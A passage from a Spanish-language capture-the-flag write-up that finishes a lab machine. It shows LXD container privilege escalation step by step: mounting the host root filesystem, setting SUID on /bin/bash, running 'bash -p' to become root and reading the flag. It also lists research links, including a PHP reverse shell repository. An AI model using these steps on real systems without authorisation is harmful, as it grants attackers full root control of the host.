rodgar@TheHackersLabs-Templo:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 mar 31 2024 /bin/bash
Bien, aún no tiene permisos SUID.
Entremos de nuevo al contenedor y vamos a movernos a la raíz de la montura:
rodgar@TheHackersLabs-Templo:~$ lxc exec privesc -- /bin/sh
~ # cd mnt/root/
/mnt/root #
Asignémosle permisos SUID a la Bash:
# Forma 1:
/mnt/root # chmod u+s bin/bash
# Forma 2:
/mnt/root # chmod 4755 bin/bash
Sal del contenedor y vuelve a revisar los permisos de la Bash:
rodgar@TheHackersLabs-Templo:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 mar 31 2024 /bin/bash
Ahí está, se puede ver el cambio de los permisos.
IMPORTANTE
¿Por qué pudimos hacer esto?
Porque montamos el root filesystem de la máquina víctima dentro del contenedor como volumen compartido (bind mount), entonces los cambios, como dar permisos SUID a /bin/bash
, se reflejan en la máquina víctima.
Podemos comprobar que es una montura compartida (bind mount), si se muestra con tipo disk al usar el comando lxc config device show nombre_contenedor
:
rodgar@TheHackersLabs-Templo:~$ lxc config device show privesc
giveMeRoot:
path: /mnt/root
recursive: "true"
source: /
type: disk
Ahí está, continuemos.
Ya podremos convertirnos en Root, usando la Bash con privilegios:
rodgar@TheHackersLabs-Templo:~$ bash -p
bash-5.2# whoami
root
Por último, vayamos a buscar la flag del Root:
bash-5.2# cd /root
bash-5.2# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html?highlight=LFI#phpfilter
- https://gchq.github.io/CyberChef/
- https://github.com/pentestmonkey/php-reverse-shell
- https://medium.com/@mstrbgn/privilege-escalation-using-lxd-lxc-group-assignment-to-a-user-a-security-misconfiguration-a4892f611d6f
- https://www.hackingarticles.in/lxd-privilege-escalation/